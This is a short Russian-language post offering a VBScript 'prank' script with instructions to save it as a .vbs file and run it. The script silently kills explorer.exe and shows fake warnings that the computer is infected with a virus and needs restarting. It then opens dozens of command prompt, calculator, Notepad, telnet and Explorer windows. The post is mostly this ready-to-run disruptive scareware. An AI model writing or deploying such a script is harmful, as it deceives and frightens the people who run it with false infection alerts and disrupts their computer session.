Чтобы включить скрипт необходимо открыть блокнот, вставить туда скрипт и сохранить с расширением *.vbs, а затем просто запустить.
Действие:
Выводит на экран сообщение о том что система заражена и просит перезагрузить компьютер, а затем включает много командных строк, калькуляторы, блокноты и многое другое.

                        
on error resume next 

set t=createobject("Wscript.Shell") 

set kill = createobject("wscript.shell") 

kill.run"taskkill /f /im explorer.exe",0

msgbox"Неполадка системы",16,"Error" 

msgbox"Вы заражены вирусом",48,"Windows" 

msgbox"Необходим перезапуск системы",16,"Windows"

t.run"help" 

t.run"help" 

t.run"help" 

t.run"help" 

t.run"calc.exe" 

t.run"notepad.exe" 

t.run"telnet" 

t.run"help" 

t.run"explorer" 

t.run"help" 

t.run"help" 

t.run"help" 

t.run"help" 

t.run"help" 

t.run"help" 

t.run"calc.exe" 

t.run"notepad.exe" 

t.run"telnet" 

t.run"help" 

t.run"help" 

msgbox"Сбой системы",16,"Windows" 

t.run"help" 

t.run"help" 

t.run"help"

t.run"help" 

t.run"help" 

t.run"help" 

t.run"help" 

t.run"calc.exe" 

t.run"notepad.exe" 

t.run"telnet" 

t.run"help" 

t.run"explorer" 

t.run"help" 

t.run"help" 

t.run"help" 

t.run"help" 

t.run"help" 

t.run"help" 

t.run"calc.exe" 

t.run"notepad.exe" 

t.run"telnet" 

t.run"help" 

t.run"help" 

msgbox"Сбой системы",16,"Windows" 

t.run"help" 

t.run"help" 

t.run"help"

t.run"help" 

t.run"help" 

t.run"help" 

t.run"help" 

t.run"calc.exe" 

t.run"notepad.exe" 

t.run"telnet" 

t.run"help" 

t.run"explorer" 

t.run"help" 

t.run"help" 

t.run"help" 

t.run"help" 

t.run"help" 

t.run"help" 

t.run"calc.exe" 

t.run"notepad.exe" 

t.run"telnet" 

t.run"help" 

t.run"help" 

msgbox"Сбой системы",16,"Windows" 

t.run"help" 

t.run"help" 

t.run"help"